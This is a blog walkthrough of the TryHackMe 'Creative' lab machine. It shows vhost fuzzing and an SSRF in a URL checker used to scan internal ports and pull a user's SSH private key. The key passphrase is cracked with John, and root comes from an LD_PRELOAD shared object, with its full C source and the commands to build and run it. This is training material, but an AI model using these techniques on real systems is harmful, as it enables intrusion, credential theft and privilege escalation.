TryHackMe - Creative Walkthrough

TryHackMe - Creative Walkthrough

\x01 Intro

Hey, I am back with a new post without a 5 month gap!

I am going to walk through Creative on TryHackMe. This was an easy-rated machine that starts off with discovering a new virtual host, exploiting a server-side request forgery vulnerability in a URL testing tool, and then escalating to root via the LD_PRELOAD environment variable.

Let's get started!

\x02 Enumeration

Like we always do, I started with an Nmap scan which found two ports open - HTTP on port 80 and SSH on port 22.

[2024-05-25 02:55:53Z] [~/D/c/t/creative] > sudo nmap -sC -sV -p22,80 -oN scans/creative_targeted 10.10.4.153
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 22:55 EDT
Nmap scan report for creative.thm (10.10.4.153)
Host is up (0.12s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:5c:1c:4e:b4:86:cf:58:9f:22:f9:7c:54:3d:7e:7b (RSA)
|   256 47:d5:bb:58:b6:c5:cc:e3:6c:0b:00:bd:95:d2:a0:fb (ECDSA)
|_  256 cb:7c:ad:31:41:bb:98:af:cf:eb:e4:88:7f:12:5e:89 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Creative Studio | Free Bootstrap 4.3.x template
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.36 seconds

22 - SSH

Since there is not a lot that can be done with SSH without some credentials, we are going to skip it for now.

80 - HTTP

As for port 80, when I visited the page the first time, it was trying to redirect to http://creative.thm. In order to load the page, we first need to add this to the hosts file.

[2024-05-28 03:09:33Z] [~/D/c/t/c/www] > echo '10.10.12.9    creative.thm' | sudo tee -a /etc/hosts
10.10.12.9    creative.thm

I reloaded the page and was brought to a landing page for Creative Studio.

There was not much to do around the page. I did interact with the Contact Us form, but it did not do anything nor did any XXS payload work.

I do want to call out that jotted down the list of names from the index, but they did not appear to be useful.

[2024-05-25 03:00:22Z] [~/D/c/t/creative] > cat team_members
Matthew Davis
Barbara Ross
Karen Perry
Ashley Diaz
Edward Harris
Brian Scott

VHOST Discovery

Since we have a hostname, I turned to virtual host discovery using ffuf.

Whenever you are dealing with a domain name, it is recommended to also try virtual host fuzzing. You can uncover additional domain names to include in your testing.

A new virtual host called beta was found.

[2024-05-25 03:00:00Z] [~/D/c/t/creative] > ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://creative.thm -H 'Host: FUZZ.creative.thm' --fs 178

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://creative.thm
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.creative.thm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

beta                    [Status: 200, Size: 591, Words: 91, Lines: 20, Duration: 

After adding beta.creative.thm to the hosts file, I visited the new page, which loaded a URL testing tool. This tool would tell you if a URL was alive or not.

I tested with http://google.com - which returned Dead. This makes sense, as THM machines cannot egress to the Internet.

\x03 Finding SSRF Vulnerability

This got me thinking—this looked like a prime spot for an SSRF vulnerability to exist. The server could be reaching out to the provided URL and, based on the response, returning to the user if the URL is alive or dead.

To prove this, we first needed to validate if it was the server itself making the request and not something being done on the client side. If it is the client making the request, then there would be no SSRF vulnerability.

I set up a new HTTP listener on port 9090 using updog and entered the IP address of my Kali VM in the URL testing tool. When the request came through, it showed the request came from the server's IP. We have now validated an SSRF vulnerability exists.

👍
I did test changing the Referrer header to my Kali IP as well and confirmed it did not send a request back to me. This is another area that can be vulnerable to SSRF, so it is a good place to check.

To make this all a bit easier on myself, I opened up Burp Suite and shot this over to Repeater. This will come in handy in a bit.

\x04 Port Scanning via SSRF

I was not able to pull local files through the SSRF vulnerability - darn.

Apart from reading local files, SSRF can also be leveraged to perform a port scan on the server itself using the loopback address. I used wfuzz for this and could find ports 80 and 1337 open.

[2024-05-26 23:45:05Z] [~/D/c/t/creative] > wfuzz -c -z range,1-65535 -u 'http://beta.creative.thm' -d 'url=http://127.0.0.1:FUZZ' --hw 3
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://beta.creative.thm/
Total requests: 65535

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================

000000080:   200        685 L    2309 W     37589 Ch    "80"                                                                                                                        
000001337:   200        38 L     77 W       1143 Ch     "1337"

When accessing port 1337 via the SSRF payload, it returns a directory listing for the root directory.

Cool - through port 1337, I was able to read /etc/passwd and discovered a user named saad exists on the box.

Knowing the username and the fact that SSH is running, I attempted to load Saad's SSH private key, which was successful. This was saved for later use.

💡
When saving SSH private keys, remember to leave a new line at the end of the file; otherwise, you might face "access denied" errors when trying to use it.

\x05 Getting Userland Access

With Saad's SSH private key in hand, I changed the permissions on it and then tried to use it.

However, it prompted a passphrase. This means that when the key pair was generated, a passphrase was configured. We need to get this passphrase before the key will work.

I used ss2john to convert the private key into a format that John can use when trying to crack the passphrase.

After running John against the converted key, it was able to find the passphrase without any issues.

ssh2john saad.id_rsa > saad.id_rsa.john
john saad.id_rsa.john --wordlist=/usr/share/wordlists/rockyou.txt

Now that we know the passphrase for the private key, we can SSH into the box as Saad.

\x06 Userland Enumeration

Once on the box, I found a password in Saad's bash history.

Just a pro tip - do not do what Saad did. k?

I validated this was in fact Saad's password via sudo -l

\x07 Vertical Escalation to Root

When running sudo -l to test the password I found in the Bash history, something stuck out. The LD_PRELOAD environment variable was set.

Essentially, the when LD_PRELOAD environment variable is set, we can force the linker to load the path to our own malicious shared libraries into memory before other shared libraries are loaded.

What this means is that we can specify a shared object to be loaded before any others. This allows us to create a shared object file and call it when invoking ping using sudo.

Our crafted shared object will execute /bin/bash, and because both the GID and UID are set to zero, this process will run with root privileges, thus giving us a root shell.

Creating our own SO

I created a new file called gray.c with the following content:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}

I then compiled it on the victim machine. This resulted in a new compiled shared object file with the name gray.so.

Including -fPIC here is important as we want this to be position-independent code. This will allow it to be loaded at any memory address. Since this is being used as a shared library, this is vital so it can be loaded at different addresses.

gcc -fPIC -shared -o gray.so gray.c -nostartfiles

With everything set up, I executed the 'ping' command with sudo and included the path to my shared object file using 'LD_PRELOAD'.

This resulted in a root shell.

sudo LD_PRELOAD=/dev/shm/gray.so -u root /usr/bin/ping 1.1.1.1
Kyle Gray

Kyle Gray

Hey there 👋 Certs - ITILv3, eJPT, PNPT, CRTP, CRTE, PJPT, CRTO